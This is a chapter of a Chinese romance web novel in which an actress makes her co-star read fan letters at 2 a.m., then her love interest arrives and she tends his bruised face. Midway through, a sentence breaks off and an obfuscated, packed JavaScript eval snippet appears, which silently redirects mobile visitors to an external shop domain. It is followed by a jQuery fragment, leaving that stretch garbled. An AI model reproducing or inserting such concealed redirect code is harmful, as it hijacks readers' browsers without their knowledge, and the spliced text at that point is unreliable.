90. 告白的回应
    涂云洲一阵无语,“我还以为什么事情呢。大半夜的,你就为了这信叫我跑一趟啊。”

    他把剧本都拿出来了。

    已经走出几步的叶泠突然转过身,双眼圆瞪,“什么叫,就为了这个信。”

    涂云洲不明所以,举起手上的剧本,“我还以为你叫我来对剧本呢。”

    叶泠挑眉,“那信呢?不重要么。”

    涂云洲莫名觉得心虚,挠头,“……粉丝的信我早不知道收了多少了,拿给我也没地方放啊。”

    叶泠叉腰,她知道圈子里丢信不看信都是常规操作。

    某些无良艺人还会看人下菜碟,不收信只收贵重的奢侈品礼物。

    涂云洲这一路太顺了,家里支持颜值又高,他的粉丝对他来讲是顺其自然锦上添花。

    他早被粉丝们捧习惯了。

    大概只有叶泠这样从泥潭里爬出来的黑糊咖才能意识到粉丝的珍贵。

    但谁叫涂云洲碰上她了呢?

    叶泠顿时打起精神,拽住涂云洲的帽子,把刚准备溜走的人拖回来。

    叶泠一屁股坐到沙发里,抱手,“既然没地方放,那就读完了再回去。”

    “这……就不必了吧。”

    涂云洲被震撼住了。

    凌晨两点,这东八区连狗都睡了鸡还没起的时候,你叫我跑这里来读信!

    涂云洲敷衍道,“好好好我记住了,明天就读。”

    涂云洲撩腿就跑,又被叶泠拽回来。

    叶泠说,“开拍之后就更没有时间了。”

    叶泠丝毫不给涂云洲机会,把最上面的几封看起来最厚的信拆开摊到涂云洲的手上,自己也掏出来几封信。

    叶泠说,“至少把这几封读了,我陪你一起读。”

    就这二十多分钟的事情,要是把信给涂云洲,叶泠敢打赌他不会看。

    叶泠瞪着双眼,黑白分明的杏眼和涂云洲的怨种好基友叶洋简直一模一样。

    看得涂云洲肝颤。

    ……真是输给你了。

    深更半夜,涂云洲认命地席地而坐,“粥粥,你是舞台上的一束光,一出现就照亮了我一生。”

    叶泠打断,“涂云洲,我发现你怎么一点感情都没有,咬字也模糊,拍戏的台词还得练啊。”

    叶泠终于绕回了涂云洲关心的“如何做一个优秀的演员”话题

    涂云洲点头如捣蒜。

    好吧,既然都要在这里读信了,不如顺便练一练台词。

    下一段,涂云洲吸一口气,读得抑扬顿挫,没有技巧全是感情,“你是世界第一宇宙无敌超级大舞担,你温和谦逊、潇洒不羁、真诚阳光、踏实有礼貌简直就是银河系最可爱的小宝贝……”

    还没读完,涂云洲臊得红了脸。

    这位小粉丝,你这彩虹屁词汇有点丰富啊。

    叶泠斜睨涂云洲一眼,实在没看出他和这形容有什么关联。

    什么温和谦逊,什么潇洒不羁,真诚又是从哪里来的?

    叶泠不理解,叶泠选择尊重,粉丝的滤镜,她懂的。

    涂云洲声音渐小,叶泠鼓劲,“不要害羞,做演员最重要的就是信念感!”

    言传身教,叶泠给涂云洲做示范。

    于是当冠如清在车里给叶泠打了几个电话都没有被接通,只好上楼来找人的时候,还没走近会议室,就听见里面叶泠的声音激昂。

    叶泠读,“泠泠,天使曾在你的脸上落下一个虔诚的吻,你善良勇敢,天真活泼,你是人间四月天,是人世间我最爱的色彩。”

    涂云洲释放天性,咆哮,“粥粥,你如启明星璀璨,如大海般辽阔没有阴影,我愿做光做影,永伴你身!”

    冠如清:“……”

    冠如清捏了捏鼻梁,微曲指节,在门上敲了敲,“叶泠,走了。”

    叶泠还沉浸在粉丝的彩虹屁里,读信读得慷慨激昂双颊涨红。

    她一顿,抬起眼寻声望去。

    冠如清站在门外,没做造型,简简单单一袭低调的黑衣黑裤,带着帽子口罩,头发松松散散地遮住他的眉骨,只留下一双桃花眼。

    捂得很严实,但叶泠一眼就认出来了。

    涂云洲眨了眨眼,叶泠的脸似乎一瞬间比刚才更红上几分。

    他顺着叶泠的目光望过去,这才发现冠如清不知何时出现在门口。

    他刚才还奇怪叶泠那副要笑不笑的表情从何而来,原来——是爱情的酸臭味。

    涂云洲无语耸肩。

    叶泠噔噔噔地跑过去,嗓子沙沙地闪过一丝惊喜,“你怎么来了!”

    冠如清说,“给你打电话你不接,我就上来了。”

    这回答的牛头不对马嘴。

    叶泠耐心解释,“我是问你,你怎么来南城了?”

    冠如清淡淡道,“你是不是忘了,答应过我什么?”

    冠如清睫羽微垂,睫毛根根分明微微颤抖,黑白分明的眸子从零碎的碎发间静静地凝视叶泠,似乎有点委屈。

    叶泠想起来,上次她说过,会让冠如清有家的感觉。

    可上次说那话的时候,叶泠还可以骗自己:

    家的定位其实可以是和邻居家关系很好、亲如兄长的冠如清勉强组成。

    现在她捅破了窗户纸,听见冠如清提起‘家’,她心中一阵震颤,忽然有点不好意思。

    叶泠的脸有点发烫,“就因为这个……你就专程飞过来啊。”

    冠如清勾唇一笑,从卫衣口袋里拿出来一只保温杯递给叶泠,“蜂蜜水,润嗓子的。”

    叶泠接过杯子,垂眸浅笑。

    涂云洲默默腹诽:

    天呐——谁能告诉我,这个会说会笑还会关心人的冠影帝是从哪里冒出来的。

    以及到底是谁把钢铁直女叶泠变成了这副动不动就脸红的模样?

    涂云洲讪讪地从小情侣身边挤过去。

    黏黏腻腻的,简直没眼看。

    —

    冠如清常驻南城影视城,索性在周边置办了一套房子,方便平时拍戏。

    这房子距离影视城就几步路,房子装修得比酒店好多了,又舒适又方便,正适合叶泠搬进去。

    冠如清推开门把叶泠的行李安顿好。

    房子里面已经提前安排人打扫过了,一尘不染就连瓷砖都擦得锃光瓦亮。

    黑白灰的色调,一切似乎都井然有序,和以前没什么不同。

    冠如清却突然觉得这里一切都变得鲜活,就连他的心情都跟着变好了。

    叶泠在门口的换鞋凳上坐下,换上早就准备好的毛绒玩偶拖鞋,满意地抖抖脚,那双黑亮的瞳仁转向冠如清,“你的脸,没事吧。”

    冠如清垂着头,任由她揭开口罩,露出里面的唇角

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286361|150660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    青紫一片。

    叶泠的眼神里都是心疼,“感觉一点都没有变好啊——”

    叶泠的心情瞬间就低落了。

    冠如清轻笑,“就过了一天,能有什么变化?”

    只有一天吗?可她觉得已经很久没见过冠如清了。

    叶泠转身拿起桌边买的药剂给他上药。

    几支软膏上都贴了使用次数和剂量,一看就是小龙哥骂骂咧咧给冠如清置办的。

    按照小龙哥那贴心又护崽的性子,看见自家影帝的脸被打成这样,不知道会不会去找老哥决斗。

    叶泠陷入沉思,手上动作不觉重点了一下,这才回神,“啊!抱歉,你疼不疼啊?”

    似乎是因为被刺痛,冠如清微凉的指尖攀到叶泠的手上,轻轻控住她握着棉签的手。

    半晌,清隽的眉眼却洇开一圈浅淡的笑意,摇头,“不疼。”

    叶泠愣怔一秒。

    客厅里落地灯从斜角洒下一道光线,冠如清小扇面一样的睫羽被渡上柔和的光晕。

    他的脸近在咫尺,清隽和一丝无所谓的勾人懒怠被无限放大,摊展在叶泠眼前。

    叶泠莫名觉得,冠如清今天的心情不错。

    因为那双一贯清冷的眼里也含着清浅的笑意。

    冠如清呵气如兰,突然提及一个遥远的话题,“你不想、听听我的回答吗?”

    明明只是弹指一瞬的时间被冠如清刻意的停顿拉得悠长,足够叶泠的神魂回到那个惊心动魄的夜晚。

    她站在大街上,没有一点准备就给冠如清表了白。

    根本没用上林澄澄遍阅偶像剧教给她的降龙十八招:鲜花,烟花,承诺,我爱你。

    甚至还没头没尾地夹杂了一点梦想宣言。

    关键是,她突然发现,这场荒诞的表白,居然忘了问对方是什么感受!

    叶泠咽了一口唾沫,眼神不受控制地落在冠如清的唇上。

    臭哥哥把冠如清一贯带着淡淡殷红的精致唇形揍得青紫一片,居然——倒显得更是红艳欲滴。

    叶泠记得,那样好看的唇也很好亲。

    凉凉的,软软的,像一个薄荷味的果冻。

    叶泠觉得自己就像是路过那传说中有狐妖的破庙的白面书生,马上就要被狐妖勾魂夺魄。

    叶泠挪开了眼神,微怔,“我已经知道了。”

    冠如清靠在松软的沙发上,神思倦怠,歪头,头顶软软的碎发从一侧掉到另外一侧。

    叶泠的脸上又覆上一层薄红,丢掉棉签就往房间里面冲。

    关上门,叶泠微微喘气,靠在门板上拍了拍自己的脸蛋。

    叶泠似乎又回到了十八岁那年空旷教学楼里那场盛大的雨。

    毁天灭地的嘈杂雨声,带着学长冠如清薄荷般的少年音。

    叶泠不知道,此刻在她心里蹦跳的。

    是否是随着当年教学楼悠长上课铃悄无声息浸润入少女心事的余韵?

    叶泠一头栽进松软的床里,挂在墙上造型夸张的卡通时钟的指针‘咔哒’一声走到了凌晨两点半。

    距离明早的开机仪式只剩下七个半小时。

    叶泠埋进枕头里,抱着枕头在床上滚了一圈,最后的恼怒地一拍脑门:

    《枫起》明天就开拍,作为女主演,前一天晚上居然在纠结这些有的没的!

    怎么可以这样!